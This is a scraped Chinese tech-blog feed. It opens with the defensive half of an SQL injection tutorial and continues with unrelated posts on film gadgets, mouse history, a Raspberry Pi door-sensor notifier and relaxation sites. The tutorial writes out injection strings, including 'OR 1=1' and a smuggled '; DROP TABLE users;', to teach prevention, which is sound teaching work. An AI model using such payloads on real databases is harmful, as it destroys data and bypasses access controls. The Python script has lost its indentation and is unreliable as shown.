允许不正确的字符输入是没有任何好处的,应该早点拒绝它们 – 可能会有一些错误信息 – 不仅可以阻止SQL注入,也可以捕获一些输入错误而不是把它们存入数据库。

某个特殊的email地址会让验证程序陷入麻烦,因为每个人对于“有效”的定义不同。由于email地址中出现了一个你没有考虑到的字符而被拒绝,那真是糗大了。

真正的权威是RFC 2822(比RFC822内容还多),它对于”允许使用的内容“做了一个规范的定义。这种更学术的规范希望可以接受&和*(还有更多)作为有效的email地址,但其它人 – 包括作者 – 都乐于用一个合理的子集来包含更多的email地址。

那些采用更限制方法的人应当充分意识到没有包含这些地址会带来的后果,特别是限制有了更好的技术(预编译/执行,存储过程)来避免这些“奇怪”的字符带来的安全问题。

意识到“过滤输入”并不意味着仅仅是“移除引号”,因为即使一个“正规”的字符也会带来麻烦。在下面这个例子中,一个整型ID值被拿来和用户的输入作比较(数字型PIN):

SELECT fieldlist
  FROM table
 WHERE id = 23 OR 1=1;  -- Boom! Always matches!

在实践中,无论如何这个方法都有诸多限制,因为能够彻底排除所有危险字符的字段实在太少了。对于“日期”或者“email地址”或者“整型”,上面的办法是有价值的,但对于真实的环境,我们不可避免地要使用其他方式来减轻危害。

输入项编码/转义

现在可以过滤电话号码和邮件地址了,但你不能通过同样的方法处理“name”字段,要不然可能会排除掉Bill O’Reilly这样的名字:对于这个字段,这里的引号是合法的输入。

有人就想到过滤到单引号的时候,再加上一个引号,这样就没问题了 – 但是这么干要出事啊!

预处理每个字符串来替换单引号:

SELECT fieldlist
  FROM customers
 WHERE name = 'Bill O''Reilly';  -- works OK

这个方法很容易出问题,因为大部分数据库都支持转码机制。像MySQL,允许输入’来替代单引号,因此如果输入 ‘; DROP TABLE users;  时,通过两次引号来“保护”数据库,那我们将得到:

SELECT fieldlist
  FROM customers
 WHERE name = '\''; DROP TABLE users; --';  -- Boom!

‘’’ 是一个完整的SQL语句(只包含一个引号),通常,恶意SQL代码就会紧跟其后。不光是反斜线符号的情况:像Unicode编码,其他的编码或者解析规则都会无意中给程序员挖坑。完美的过滤的很困难的,这就是为什么许多的数据库借口语言都提供函数给你使用。当同样的内容给“string quoting”和“string parsing”处理过后,会好一些,也更安全一些。

比如MySQL的函数mysql_real_escape_string()和perl DBD 的 $dbh->quote($value)方法,这些方法都是必用的。

参数绑定 (预编译语句)

尽管转义是一个有用的机制,但我们任然处于“用户输入被当做SQL语句”这么一个循环里。更好的方法是:预编译,本质上所有的数据库编程接口都支持预编译。技术上来说,SQL声明语句是用问号给每个参数占位创建的 – 然后在内部表中进行编译。

预编译查询执行时是按照参数列表来的:

Perl中的例子

$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);

感谢Stefan Wagner帮我写了个java实现:

不安全版

Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
                             + formField); // *boom*

安全版

PreparedStatement ps = connection.prepareStatement(
    "SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();

$email 是从用户表单获得的,它作为#1(第一个问号标记的地方)位置的参数传递过来,在任何情况下这条SQL声明都可以解析。引号,分号,反斜杠,SQL指令记号 – 任何字符都不会产生特殊效果,因为它们“只是数据”而已。这不会对其他东西造成破坏,因此这个应用很大程度上防范了SQL注入攻击。

如果预编译查询语句多次(只编译一次)执行,也会带来性能上的提升,但是与大量安全方面的巨大提升相比,这显得微不足道。这可能是我们保证web应用安全最重要的一步。

限制数据库权限和隔离用户

在这个案例中,我们观察到只有两个交互动作不在登录用户的上下文环境中:“登录”和“发密码给我”。web应用应该对数据库连接做权限的限制:对于members表只能读,并且无法操作其他表。

作用是即使一次“成功的”SQL注入攻击也只能得到非常有限的成功。噢,我们将不能做有授权的UPDATE请求,我们要求助于其他方法。

一旦web应用确定登录表单传递来的认证是有效的,它就会切换会话到一个有更多权限的用户上。

对任何web应用而言,不使用sa权限几乎是根本不用说的事。

对数据库的访问采用存储过程

如果数据库支持存储过程,请使用存储过程来执行数据库的访问行为,这样就不需要SQL了(假设存储过程编程正确)。

把查询,更新,删除等动作规则封装成一个单独的过程,就可以针对基础规则和所执行的商业规则来完成测试和归档(例如,如果客户超过了信用卡限额,“添加新记录”过程可能拒绝订单)。

对于简单的查询这样做可能仅仅能获得很少的好处,不过一旦操作变复杂(或者被用在更多地方),给操作一个单独的定义,功能将会变得更稳健也更容易维护。

注意:动态构建一个查询的存储过程是可以做到的:这么做无法防止SQL注入 – 它只不过把预编译/执行绑定到了一起,或者是把SQL语句和提供保护的变量绑定到了一起。

隔离web服务器

实施了以上所有的防御措施,仍然可能有某些地方有遗漏,导致了服务器被渗透。设计者应该在假定坏蛋已经获得了系统最高权限下来设计网络设施,然后把它的攻击对其他事情产生的影响限制在最小。

例如,把这台机器放置在极度限制出入的DMZ网络“内部”,这么做意味着即便取得了web服务器的完全控制也不能自动的获得对其他一切的完全访问权限。当然,这么做不能阻止所有的入侵,不过它可以使入侵变的非常困难。

配置错误报告

一些框架的错误报告包含了开发的bug信息,这不应该公开给用户。想象一下:如果完整的查询被现实出来了,并且指出了语法错误点,那要攻击该有多容易。

对于开发者来说这些信息是有用的,但是它应该禁止公开 – 如果可能 – 应该限制在内部用户访问。

注意:不是所有的数据库都采用同样的方式配置,并且不是所有的数据库都支持同样的SQL语法(“S”代表“结构化”,不是“标准的”)。例如,大多数版本的MySQL都不支持子查询,而且通常也不允许单行多条语句(multiple statements):当你渗透网络时,实际上这些就是使问题复杂化的因素。


再强调一下,尽管我们选择了“忘记密码”链接来试试攻击,但不是因为这个功能不安全。而是几个易攻击的点之一,不要把焦点聚集在“忘记密码”上。

这个教学示例不准备全面覆盖SQL注入的内容,甚至都不是一个教程:它仅仅是一篇我们花了几小时做的渗透测试的记录。我们看了其他的关于SQL注入文章的讨论,但它们只给出了结果而没有给出过程。

但是那些结果报告需要技术背景才能看懂,并且渗透细节也是有价值的。在没有源代码的情况下,渗透人员的黑盒测试能力也是有价值的。

感谢 David Litchfield 和 Randal Schwartz对本文的贡献,还有Chris Mospaw的排版(© 2005 by Chris Mospaw, used with permission).

其他资源

实例讲解 SQL 注入攻击,首发于博客 – 伯乐在线

电影里的这些黑科技哪个将先实现?

281213032944267

一般来说,当前人类无法实现的技术或者产品统称为“黑科技”,而不少电影和电视中都出现过。人工智能、意识转移、时空穿越,这些从一开始都是人们想象出来的。不过随着技术的进步,这些概念中的想法也在一步步逼近现实。

本期《问题来了》带你走近那些大片里的“黑科技”,看它们离实现还有多远。

la_ca_1023_interstellar

1. 《星际穿越》:人工智能机器人

片中出现了 3 个具有人工智能的机器人,其中的塔斯(TARS)让人印象深刻。常态下它是一个方方正正的盒子,但它可以在液、固两态之间随意切换,有高效的认知能力和强大的变形能力。尤其是当布兰德博士在水行星上遭遇浪击,塔斯能迅速变形移动救险。

目前的技术水平还不足以制造一个真正的变形机器人,但是美国的研究人员发现了稀有金属铟镓合金,在一定条件下可以实现固液态的转换,起码从理论和技术的层面论证了液态金属机器人的可能性。

281213040754394

2. 《黑镜》:意识提取+物联网

物联网近几年成为热门的概念,那么该如何实现?《黑镜》给出的答案是——克隆你的意识。

剧中把人的意识副本放进一个小型设备中,让其为你打理一切事务。于是,你有了一个最好的仆人——你自己。你的这个意识副本成为家中的智能中枢。天亮了,它调节阳光、室温和音乐唤醒你;当你饿了,它可以自动连接烤箱为你烤出面包;想看电视,它知道你想看哪个频道……

虽然物联网正在成为一种趋势,各种家庭智能设备不断涌现,但是用意识副本的方式来实现家庭互联,不失为一种大胆的想象,但还不能实现。

281213032632510

3. 《超体》:聪明药 CPH4

CPH4 为《超体》中的一种蓝色颗粒状物质。电影中 CPH4 意外进入女主角身体,反而给了她超于常人的力量:包括心灵感应、瞬间吸收知识、吸引金属等技能,绝处逢生为女超人。

根据电影交代,CPH4 是人类母体在怀孕期间产生的一种物质, 虽然只有少量, 但已足够提供给胎儿的骨骼成长。但现实中 CPH4 只是分子物理学的一个理想状态,目前无法被证实。

281213034662981

4. 《钢铁侠》:触控交互和人工智能

从第一部到第三部,托尼·斯塔克家中的豪华实验室内都会出现触控屏幕的身影。与之相辉映的是,钢铁侠的人工智能管家贾维斯。

贾维斯是超智能软件,能独立思考,还会帮助钢铁侠处理各种事务,计算各种信息。

目前的苹果语音助手 Siri、谷歌的 Google Now、微软的 Cortana 都具备了一定的智能。不过它们能做的事还非常有限,因此应用也不广泛。不过在未来,智能助手将会发挥越来越大的作用。

281213037782951

5. 《阿凡达》:“身外化身”技术

电影《阿凡达》中那神奇的“身外化身”技术让人向往不已,通过思想控制技术,也就是人的大脑与机器人的互动,可以实现由人的大脑意念来控制机器人。

此前有报道称,以色列一名学生在功能性磁共振成像仪中,用意念成功操控 2000 公里之外法国贝济耶科技学院的一个人形机器人进行移动。虽然只是初步的尝试,不过已经让人们对“身外化身”的未来充满遐想。

281213032944267

6. 《黑衣人》:独轮车

电影《黑衣人》3 中,K、J双人组驾驶的独轮车外观独树一帜,与传统汽车形态大不相同。

从外观上看,这台独轮车就是在传统的机车轮毂上,负载一个滑轮用于传动,当机车发动机运转牵引轮毂转动后,外圈滑轮也会随之转动,和齿轮传动概念类似。

虽然目前有独轮电动车,也有不少民间发明家模仿《黑衣人》独轮车的设计,不过离影片中的酷炫感觉还差很远。

281213040917623

7. 《007 系列》:X光眼镜

007 系列电影《黑日危机》中,男主角佩戴了一副X光眼镜。表面看起来跟墨镜无异,但却能扫描敌人的武器装备。

尽管X光机已被应用到不同行业,但还无法把它整合到微小的镜片当中。谷歌眼镜已经可以拍照和录像,未来有望发挥更大的功用。

281213041695366

8. 《回到未来》:时光车

1985 年上映的电影《回到未来》将汽车和时光机融为一体,电影中主角马帝·麦佛莱在布朗博士遇袭后驾驶时光车偶然穿越到 30 年前,这在当时引起了非常大的轰动,和一些电影中出现的科技现象和产品不同,时光机因为违背物理定律而暂时不可能存在,但人们对穿越到过去和未来的设想却从未停止过。

看了这些电影中的这些黑科技,问题来了,你认为人类能先用上哪一种?你想拥有哪一种能力?

电影里的这些黑科技哪个将先实现?,首发于极客范 – GeekFan.net

程序员减压利器 超大型独立回车键任你锤

bigenter560x492强迫症患者伤不起,尤其是IT行业的强迫症。无时无刻不对着电脑,写程序、编辑网页、修改资料库,林林总总。客户上司当你是万能修改员,无数次改完又改;同事当你是电脑技工,软件硬件问题都由你包办。时间一久难免经常不顺心,键盘就“近水楼台”地成了你的出气筒。此起彼伏的“哒哒……啪!”回车键是不是已经按爆了?接下来这款产品就可以拯救你的键盘啦。

24074033_DtXv24074033_QfF624074033_Oi7F24074033_MPlm

这个产品长得非常直接,看一眼就知道是放大版的回车键。插上电脑 USB 接口,质感就和你家真皮沙发似的,随便你怎么按,反正不会爆~

这款 Big Enter 一经发售就异常火爆,200 个先行版已经销售一空,想要购买就得等下一批了。不知设计师会不会考虑再弄个空格或 F5 键?

程序员减压利器 超大型独立回车键任你锤,首发于极客范 – GeekFan.net

鼠标变形史:都是你想不到的奇葩

Prototype of the 1st mouse computer presented in 1968 (invented in 1963 by Douglas C. Engelbart)鼠标自60年代中期诞生以来,经历了无数次的变化,这些变化使得它使用起来更舒适、更符合人体工程学、也更方便人们携带。本文会带你重温鼠标从简陋到如今未来感十足的历程。

房子中的鼠标

54858f1187955在1968年的Mother of All Demos(展示之母)上,来自斯坦福研究院(SRI)的Douglas Engelbart向全世界展示了多种计算机科技,及在接口方面的突破。在众多的展品中就有完成于1964年的鼠标原型。在当时,人们习惯的将鼠标称为“显示系统的X-Y位置指示器”。这个鼠标原型有着两个轮子,以及木头的外壳,鼠标可以在水平和垂直方向运动。SRI提交的这项专利在1970年获得通过,并最终授权给苹果、施乐等公司。

左右转动的鼠标

54858f188f3f4在SRI研发鼠标的同期,德国的Telefunken公司也在进行着类似的项目。他们的设计没有轮子和X-Y坐标系,看上去是个球形结构(像之后的机械鼠)。滚动球的设计与SRI的模型有些类似,也是德国人自主研发的。

PARC(施乐帕克研究中心)

54858f212d18e世界上最早的桌面电脑AITO是PARC在1973年研制并推向市场的,但是这些个人工作站并没有商业化,大多应用于施乐集团内部和大学校园,这些产品都拥有SRI研发的特别版输入接口。AITO的用户很快就被鼠标吸引了,并证实了鼠标的市场潜力。

没有滚球的鼠标

54858f27bc779滚球结构的鼠标面临着容易堵塞灰尘和污物的问题。1981年,Steven Kirsch为鼠标开发了一款光学模型。同一年,PARC也研制出一个类似的版本。这些鼠标利用光线跟踪运动,不再需要滚球。不过想要它正常工作,人们需要配一个鼠标垫。

走进市场的鼠标

54858f2eeaa8b乔布斯在1979年参观PARC的时候第一次见到了鼠标,这令他激动万分。这次的经历启发他在1983年苹果推出的Lisa上配备了类似的设备。Lisa是最早的商用电脑。一款类似但具有棱角的鼠标被应用在苹果1984年发布的Macintosh上。

智能化、不需要鼠标垫的鼠标

54858f375af78鼠标面世的几年来,逐渐加入了滚轮。微软在1996年推出的智能鼠标就是滚轮鼠标的代表之一。1999年,微软用光学LED取代传统的滚球设计。当然,这个问题在1981年就被解决了,但是这次改进的光学鼠标不再需要鼠标垫了。

又有了球

54858f3fa5260轨迹球鼠标,通过滚动暴露在外面的球对屏幕上的光标进行控制的鼠标。这项技术可以追溯到上世纪50年代,当时是加拿大名为DATAR的军事项目。2000年,微软将这项技术与轨迹跟踪技术结合起来,用手指,或者单单拇指就能利用突出的、颜色亮丽的轨迹球进行精确定位。

苹果的Pro

54858f46b25c1苹果继续研发其自己的有线鼠标,但是其设计理念是化繁为简。1998年,该公司发布了第一款USB接口的鼠标iMac系列,但其圆形的设计让大多数用户不以为然甚至难以理解,因此该款鼠标获得了“冰球”的外号。2000年,苹果发布了Pro系列鼠标,这款鼠标装在透明的塑料中,用整体式取代可见的按钮。

S+ARCK

54858f4db804a苹果并不是唯一一家靠设计来促进产品销售的。2004年,微软推出了其自主研发的基于S+ARCK的未来版光学鼠标。这款时髦的鼠标由Philippe Starck设计,是微软首次尝试将艺术元素融入到产品设计中。由于有对称的结构,这款鼠标同样适合左撇子们。

超出视觉范畴

54858f54b4dec多年来,索尼为其VAIO设计了一系列时尚而独特的有线鼠标,但很少有像2006年推出的Talk (VN-CX1)那么吸引眼球。这款支持USB的鼠标能在你需要的时候变为一部电话。它将经典的翻盖式手机与便携式鼠标结合在一起。在聊天的时候,滚轮还能作为调节音量的控制器。

鼠标的发展趋势

54858f5d50752便携式电脑的多样化促使鼠标制造商们探寻缩小设备的新途径。早在1984年,罗技就率先研发了无线鼠标。2005年Newton Peripherals 发布了超薄设计的 MoGo蓝牙鼠标。不用鼠标的时候,它可以插在电脑的卡槽中进行充电。

不可思议

54858f689c63d1苹果改进其Pro系列鼠标,并在2005年推出了一款支持多方向滚动球的版本,这款鼠标的两个按键非常灵敏,其侧键还支持编程。2009年推出的Magic Mouse对其进行了进一步的简化,光滑的顶部是一个手势输入设备,用户可以在鼠标表面的任何位置进行滚动和点击。

易弯曲型

54858f6f88278微软在2010年再次推出了新产品:易弯曲的Arc鼠标。这款鼠标在旅行或闲置的时候能够放平整,当你要使用的时候又能弯曲成适合你手掌的形状。它的前面有灵敏的触摸滚动条以及两个按钮,其余部分都能够弯曲。它的蓝光技术宣称能在粗糙的木头表面使用,甚至在地毯上使用。

有家的鼠标

54858f80e542d撇开设计不说,每个鼠标的使用应该是舒适的。基于这点,日本的玩具制造商Thanko在2010年推出了这款带加热型鼠标垫的鼠标,能有效抵御寒冷,让你的手指保持温暖和灵活.

 

鼠标变形史:都是你想不到的奇葩,首发于极客范 – GeekFan.net

用树莓派给智能手机发送推送通知

send-push-notifications-from-raspberry-pi本项目说明了如何从树莓派发送推送通知给iOS和Android设备,只需要用到一个免费的推送app即可。这里的主要思想就是利用一个电磁感应门来触发推送信息的事件。当电磁门打开时,树莓派就发送消息。在这个项目中,电磁感应门可以很容易替换成其他类型的告警设备,比如PIR运动传感器,红外引信等。

作者声明:我不是个Python专家,也不是树莓派的专家。虽然我有过很多软件开发的经验,而且也曾是个全职的开发者,但这是我的第一个树莓派项目和Python应用。因此,我写的Python代码很可能不是最简洁的,而且也可能会有其他更好的方式来配置树莓派。我个人很乐意接受建设性的批评和建议。如果有任何改进的建议,请在评论栏中告诉我。

配置树莓派发送推送消息

下面各项就是我们需要完成的:

  1. 在Instapush上建立推送服务,并安装移动app
  2. 将电磁感应门连接到树莓派上
  3. 安装pycurl库
  4. 加载python代码
  5. 运行python应用
  6. 测试,获取推送通知

在Instapush上建立推送服务,并安装移动app

要处理推送通知,我使用了一个名为Instapush的免费推送服务。Instapush在iOS和Android上有免费的app,而且这个平台上也有一个易于使用的REST API供软件开发者使用。

  1. 首先,在https://instapush.im/注册并登陆。
  2. 下载移动app(iOS版Android版
  3. 登陆到app上,使用你在网站上注册的账户即可
  4. 在app上登陆后,你会发现控制面板中已经显示你的设备已连接到Instapush的账户上了。去这里查看https://instapush.im/dashboard.
  5. 然后点击设备标签。我有两台设备都连接到了Instapush的账户上,见下图。
  6. mobile-push-devices接下来,点击app标签。然后选择添加应用。
  7. 为你的应用选择一个名称,然后点击Add。我把应用命名为“Door Push”
  8. 添加了你的应用之后,你会进入事件界面。点击添加事件
  9. 为你的时间选择一个标题。我建议在事件名中不要加入任何空格。我用的是“DoorAlert”
  10. 你需要添加至少一个tracker。这基本上就是一个用在推送通知中的变量。我给它命名为“message”
  11. 最后,输入你想要推送的消息内容。我的Python代码将变量{message}传给Instapush服务,因此我建议你只把{message}添加到Message字段即可。 push-notification-api1点击添加事件
  12. 点击Basic Info标签,记下Application ID和Application Secret fields这两个字段的内容。在编写Python代码时需要用到这些。可以参考下图中的示例。当然,我把我的ID做了些处理。push-service-key

将电磁感应门连接到树莓派上

我使用了一个面包板套件来让这个过程变得简单些。我使用GPIO的第23号管脚以及接地管脚来连接电磁感应门。哪条线接GPIO,哪条线接地无关紧要。下面是示意图:

raspberry-pi-magnetic-door-sensor-wiring

安装pycurl库

我们的Python程序需要使用一个称为pycurl的库来发送API请求给InstaPush服务。在树莓派上运行下面的命令来安装这个Python库。

sudo apt-get install python-pycurl

 Python代码

下面就是我编写的Python代码了。代码中的注释应该能很好的解释我在做什么。将程序命名为doorSensor.py。你可以在这里下载源代码。

# ------------- Begin doorSensor.py ------------------ #

import pycurl, json
from StringIO import StringIO
import RPi.GPIO as GPIO

#setup GPIO using Broadcom SOC channel numbering
GPIO.setmode(GPIO.BCM)

# set to pull-up (normally closed position)
GPIO.setup(23, GPIO.IN, pull_up_down=GPIO.PUD_UP)

#setup InstaPush variables

# set this to Application ID from Instapush
appID = ""

# set this to the Application Secret from Instapush
appSecret = ""

# leave this set to DoorAlert unless you named your event something different in Instapush
pushEvent = "DoorAlert"

# set this to what you want the push message to say
pushMessage = "Door Opened!"

# use StringIO to capture the response from our push API call
buffer = StringIO()

# use Curl to post to the Instapush API
c = pycurl.Curl()

# set Instapush API URL
c.setopt(c.URL, 'https://api.instapush.im/v1/post')

# setup custom headers for authentication variables and content type
c.setopt(c.HTTPHEADER, ['x-instapush-appid: ' + appID,
'x-instapush-appsecret: ' + appSecret,
'Content-Type: application/json'])

# create a dictionary structure for the JSON data to post to Instapush
json_fields = {}

# setup JSON values
json_fields['event']=pushEvent
json_fields['trackers'] = {}
json_fields['trackers']['message']=pushMessage

postfields = json.dumps(json_fields)

# make sure to send the JSON with post
c.setopt(c.POSTFIELDS, postfields)

# set this so we can capture the resposne in our buffer
c.setopt(c.WRITEFUNCTION, buffer.write)

# uncomment to see the post that is sent
#c.setopt(c.VERBOSE, True)

# setup an indefinite loop that looks for the door to be opened / closed
while True:

# door open detected
GPIO.wait_for_edge(23, GPIO.RISING)
print("Door Opened!\n")

# in the door is opened, send the push request
c.perform()

# capture the response from the server
body= buffer.getvalue()

# print the response
print(body)

# reset the buffer
buffer.truncate(0)
buffer.seek(0)

# door closed detected
GPIO.wait_for_edge(23, GPIO.FALLING)
print("Door Closed!\n")

# cleanup
c.close()
GPIO.cleanup()

# -------------------- End doorSensor.py -------------------- #

Save the Python script on your Raspberry Pi.

将Python脚本保存到你的树莓派上。

运行Python应用

要测试是否能从树莓派上发送推送通知,先运行doorSensor.py应用。程序跑起来之后,将电磁感应门的传感器分开。你会看到树莓派的屏幕上会打印出一些内容。第一行就是运行程序的命令,而第二行就是当我们打开门的时候所打印的。紧跟着会打印出从InstaPush的API服务接收到的响应。

pi@raspberrypi ~ $ sudo python doorSensor.py

Door Opened!

{“msg”:”Notification Sent Successfully”,”error”:false,”status”:200}

Door Closed!

 获取推送通知

在你打开电磁门的1到2秒后,你应该在iOS或者Android设备上接收到推送通知。下图就是在我的三星Galaxy上所接收到的推送消息。iPhone上也工作的一样好。

raspberry-pi-push-message

 

用树莓派给智能手机发送推送通知,首发于极客范 – GeekFan.net

10个帮程序员减压放松的网站!

relax-for-health

同学们工作之余,不妨放下微博跟朋友圈,来这10个网站感受一下看着就醉了的情境:「念完往上一推音乐键,我往后一靠,潮乎乎的软皮耳机里头,音乐排山倒海。」今天推荐的网站,利用代入感强的图片与音频,迅速帮你抹平焦虑,获得平和心态,特别献给改稿千遍的设计师们。

1.  Calm

这是同类型中最火的网站了,站如其名,「平和」,通过自然的图像(阳光下的暖流、淙淙的小溪等)与缓缓的音乐,帮你在短时间内放松下来。左侧有时间设定,从 2 分钟到 20 分钟,右底部可以改变音频、图像,调节音量等。还有 IOS 客户端下载呦。

calm

2.  Do Nothing For 2 Minutes

「木头人,两分钟」,这是一个简单到极致的网站,当你打开的时候,自动开始计时,这时间你不能触碰键盘和鼠标,否则 2 分钟会重置。你需要做的,就是放下手头的工作,静静地享受潮声,这也很棒,不是吗?两分钟足够你冷静下来,休息一下了。

donothing

3.  Get Relaxed

如果两分钟不足以让你彻底放松,试试这个。如下图,打开网站后,头枕着双手往后仰,欣赏自然风光,聆听网站为你精心挑选的音乐。图像 3 秒一换,有 15 种,每种持续大概 2 – 4 分钟,现在,开始吧!提醒:网站有简陋广告,稍微影响体验。

relax

4.  LoungeV Studio

前三个都是图像,现在来个新鲜的。这个网站提供高清的自然风光视频 + 音乐。有沙滩、瀑布、水下景色等等,网站背景是一个温馨的客厅,右侧有视频可选,对喜欢看视频的同学来说,还是蛮不错的。

longv

5.  A Soft Murmur

这个网站太棒了!小编玩了好久都舍不得停下来。网站让你自由创造美妙的声音。你可以通过混合不同的声音(雨声、火柴燃烧的声音、打雷声、海潮声…..不一而足。但是,总有一款令你爱不释手!)当然,声音的大小也可以自己调节。如果你对混合的声音非常满意,也可以分享到脸书、谷歌等….

soft

6.  Nature Sounds For Me

这个比上面那个界面稍逊,但是玩起来更嗨!它提供的声音除了以上的自然类声音,还有很多你想不到的:绵羊咩咩、骏马跺脚喷气、不同的鸟叫声,甚至是心脏跳动、厨房叮当的声音,不仅令人身临其境,而且搭配起来简直不能更欢乐!当然,它还有 IOS 客户端。

nature

7.  Noisli

这个网站根据你的情绪变化,选择不同的音乐和背景颜色。颜色大多朴素平和,背景声音也有对应的图标可以选择。还有一点贴心的设计是,网站右侧有便签本,你可以一边享受静谧时光一边随手记点事。为了造福大众,网站还提供 IOS 版。

noshi

8.  Soundrown

网站一进去,有 3 个关键词:放松、专注、逃离。的确,它成功做到了这一点。它有 10 种不同的声音帮助你放松心情,也可以混合使用。不同的声音对应不同的背景,网站非常有设计感,相信你会重新回来体验一次。

soundrown

9.  The Thoughts Room

一句话简洁:世界的秘密——树洞类网站。你可以在这里向全世界倾诉你的任何想法,网站支持 37 种语言,不过看了一下,没有中国…though

10.  Raining.Fm

有时候,我们需要的仅仅是一点点雨声来帮助我们平静。网站专门提供雨声,因为单一,所以也更加专业。网站有 3 种不同的雨声类型,右侧有定时器可以在你放松时提醒你,简单也好用的一个网站,赞一个。

raining

10个帮程序员减压放松的网站!,首发于极客范 – GeekFan.net

首款自行车智能车轮Ommi Wheel面世

3039472-slide-s-1-the-elevators-of-the-future-will-go-sideways

成立三年的电动自行车公司 Evelo 宣布,它将在明年一月推出一款智能车轮 Omni Wheel,它将会是市面上第一款智能车轮。

据 Fastcoexist 报道,这款产品已投入研发超过一年。它一次充电可以行驶 25 英里(升级电池后可行驶 40 英里)。现在在市面上 Omni Wheel 几乎没有竞争者,据 Evelo 创始人 Boris Mordkovich 表述,首先这款 Omni Wheel 是一个前轮(现研发的智能车轮大多专注于后轮),“前轮更容易拆卸和安装,而后轮则需要一定的技术。”而且,“前轮能提供更多的电动辅助,你骑上陡峭的小山就更加容易了。”

另一大区别是:Omni Wheel 配置有无线显示屏,它能够让用户自行选择助力水平,随时查看速度和距离信息。此前众筹大热智能车轮的 Copenhagen Wheel 和 FlyKly wheel 都需要与手机 app 协作,而 Omni Wheel 不需要使用手机协作。

Omni Wheel 虽比电动自行车便宜,但依旧价格不菲。预购价 1000 美元,全额售价 1200 美元。

3039472-slide-s-2-the-elevators-of-the-future-will-go-sideways3039472-slide-s-4-the-elevators-of-the-future-will-go-sideways

首款自行车智能车轮Ommi Wheel面世,首发于极客范 – GeekFan.net

如何成为一名黑客

hacker_title

1.  这么说,你想成为一名黑客

anigif_enhanced-buzz-32049-1354308193-82.  不错的志向,因为…

hacking_is_good3.  你需要弄一个很酷的面具,和一件笔挺的西装

hack34.  如果你是一个火辣的女孩、并梳着一个男孩的发型,那就更好了

hack45.  该死,这款发型也相当不错

hack56.  找一个很小很小的墨镜

hack67.  或者蛤蟆镜

hack78.  墨镜对一个黑客来说非常非常的重要,不是吗?

matrixrev19.  想当黑客,你需要至少两台电脑

hack910.  一个黑客可以把任何环境转变成工作室

hack10

11.  黑客需要有一个非常隐蔽的藏身处,以防警察的抓捕

hack1112.  黑客对电脑的内部结构非常的了解

hack1213.  IE ?NO,真正的黑客使用火狐浏览器

hack1314.  真正的黑客的电脑屏幕上的字都是绿色的

hack1415.  Linux ? 没错,真正的黑客使用Linux

hack1516.  黑客能够攻破防御系统,获取最高机密信息

hack1617.  别看错了,这些是黄牛党,不是黑客

hack1718.  这位一看就是黑客新手,很不专业

hack1819.  看看我,我可是在航天器里执行黑客任务

hack1920.  我的神呀,这个狐狸也是黑客

hack2021.  只有真的黑客能理解这张图

hack2122.  恭喜!你终于成为一名黑客了

hack2223.  开启你的黑客新生活吧!

hack23

如何成为一名黑客,首发于极客范 – GeekFan.net